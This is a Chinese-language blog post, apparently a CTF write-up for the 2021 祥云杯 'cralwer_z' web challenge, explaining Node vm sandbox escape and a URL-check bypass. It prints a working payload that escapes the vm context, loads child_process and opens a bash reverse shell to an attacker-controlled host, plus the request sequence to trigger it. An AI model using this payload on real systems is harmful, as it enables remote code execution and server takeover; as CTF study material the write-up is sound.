最近的比赛都很有意思,大家的博客也很有意思;但是我没有意思,因为比赛题我都不会做。今天有拟态的决赛,但是为什么我在写博客,就是因为看了题,第一步就被那个我不认识也不认识我的编码难住了,而且我也不想抢了同队大佬们的vpn
,阻挡了他们30万奖金的道路。
于此同时,我也学习到了一个小小的知识点:虽然我没有抢大佬们的vpn
,但vpn
确实是可以抢占的。以及昨天因为初次接触拟态防御这个概念,特意写了一篇(不是很明白的)调研报告,以多了解这个技术(以当作我的web开发课作业)。
所以看看以前的比赛题。
这个祥云杯比赛的题对我而言都好新呐(指都不会做)。
言归正传,在看各种wp的过程中,我发现这个解题链应当是“危险函数–>代码审计”,就是先找危险函数,找不到再整体审计。然而对于不知道有什么危险函数的我来说,任何题的流程都是“代码审计”。很明显,让我代码审计,就像是让我舍友宝琪姐姐不说话了一样————“开玩笑”。
zombie
如果是我的话,只会发现“cralwer_z”
和爬虫相关。但是为什么别人能做出来的,就是因为他们知道:
zombie
有vm
库并且在解析script
和url
的时候调用runInContext
,将script
内容作为第一个参数code
。
VM
vm
不安全,就像vm2
也不安全。
这是因为创建vm
环境时,首先初始化一个对象sandbox
,这个对象就是vm
中脚本执行时的全局环境context
,全局this
指向的就是这个对象。
vm
中的this
:
1 | const vm = require('vm') |
1 | console.log(context.constructor.constructor('return this')()) // global |
context.constructor.constructor
获取到的是Function()
,用Function()
动态创建一个匿名函数,获取this
的值,this
指向的就是global
对象。
注册admin
登录后有个profile
路由。看一下源码
1 | router.post('/profile', async (req, res, next) => { |
我不明白为什么我看了半天的东西,我只能寥寥几句话来解释`。
比如:
1 | if (!utils.checkBucket(bucket)) { |
这里检查过bucket
合法后,就设置了authtoken
。
1 | try { |
这里又更新了user
信息,尤其是更新了bucket
。
1 | static checkBucket(url) { |
这里绕过可以类似这样:
http://IP/index.html?aaa=oss-cn-beijing.ichunqiu.com
就可以覆盖掉bucket
,换成心机代码段:
1 | <script>c='constructor';this[c][c]("c='constructor';require=this[c][c]('return process')().mainModule.require;var sync=require('child_process').spawnSync; var ls = sync('bash', ['-c','bash -i >& /dev/tcp/[ip]/port 0>&1'],);console.log(ls.output.toString());")()</script> |
发送三次请求,第一次获取token
值,第二次请求/user/profile
,Bucket
赋值为vps
的ip
。再请求/user/verify?token=[token]
,然后通过/user/bucket
反弹shell
。
参考
1.战队wp
3.https://blog.csdn.net/cjdgg/article/details/120147572
4.https://cbatl.gitee.io/2021/08/24/xinagyubbei/
Author: suyumen
Link: https://suyumen.github.io/2021/11/10/2021-11-01-[2021%E7%A5%A5%E4%BA%91%E6%9D%AF]cralwer_z/
Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.